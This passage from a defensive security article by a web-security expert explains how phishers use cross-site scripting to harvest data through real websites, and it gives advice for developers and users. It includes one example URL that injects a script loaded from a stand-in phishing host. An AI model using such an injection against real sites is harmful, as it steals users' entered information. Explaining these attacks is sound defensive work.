What Phishers Know That You Don't
Consider the following URL:
http://therealwebsite.com/path/<script%20src=http://phishingsite.com/xss.js></script>
As before, when a user looks at the above Web address, the link still appears completely legitimate, because it is. The difference with this attack is that when a user clicks, they're not redirected, instead they remain on the real Web site. By using an injected script tag, Phishers can alter the behavior of a Web page. The malicious code transmits any information the user enters directly to the Phisher.
Think of it as Web page spyware. The insidiousness of the attack is that the user remains on the real Web site before and after they click, leaving them unprotected and unaware that anything happened.
Even scarier, there are other ways users may be victimized without clicking. Now it's only a matter of visiting the wrong Web page.
Many Web sites allow content submissions from third-parties that site visitors can view, including message boards, blog posts/comments, guest books, auction and personals listings, and many other forms of community driven content.
If an XSS vulnerability exists in any of these systems (think eBay, Yahoo, Amazon, Blogger, etc.), a Phisher could submit malicious script code and anyone visiting the page would become instantly affected. No need to click anything in your inbox.
Financial services, e-commerce and healthcare Web security professionals all face the same risk, that their organization's Web site becomes the phishing Web site used to harvest consumer data. Again, none of the solutions I mentioned above can protect against these attacks. No man-in-the-middle server exists, so SSL and token authentication won't raise a red flag. There's no third-party phishing site, so obviously take-down and blacklist services have nothing fake to detect.
That leaves us with e-mail encryption and A/V scanners, which are not effective in this case. While I certainly won't recommend that people ignore these products, let's be clear. One way or another, by e-mail/IM/blog spam, malware, or casual Web surfing, consumers are going to stumble across a piece of XSS code. It's just that simple. See why the Phishers are laughing?
Cross-site scripting can occur on any Web site regardless of platform, language or technology. The smart bet is that just about every Web site has at least one issue and likely a whole lot more. How can Web developers protect consumers from XSS? Find and fix your cross-scripting vulnerabilities. Diligently validate all incoming data and strip out malicious tags.
Never, ever, ever trust client-side data. This is the most important security lesson for a Web developer to learn.
How can users protect themselves from XSS? Be extremely skeptical about any unexpected e-mail asking you to visit a Web site and do something. If you think the e-mail might be real but you're unsure, type the Web site domain name manually into your browser or use a bookmark. A healthy dose of paranoia is the best defense.
Jeremiah Grossman is the founder and Chief Technology Officer of WhiteHat Security, where he is responsible for Web application security R&D and industry evangelism. As a 7-year industry veteran and well-known security expert, Mr. Grossman is a frequent conference speaker. Mr. Grossman is also a founder of the Web Application Security Consortium (WASC), as well as a contributing member of the Center for Internet Security Apache Benchmark Group. Prior to founding WhiteHat, Mr. Grossman was an information security officer at Yahoo, responsible for performing security reviews on the company's hundreds of Web sites.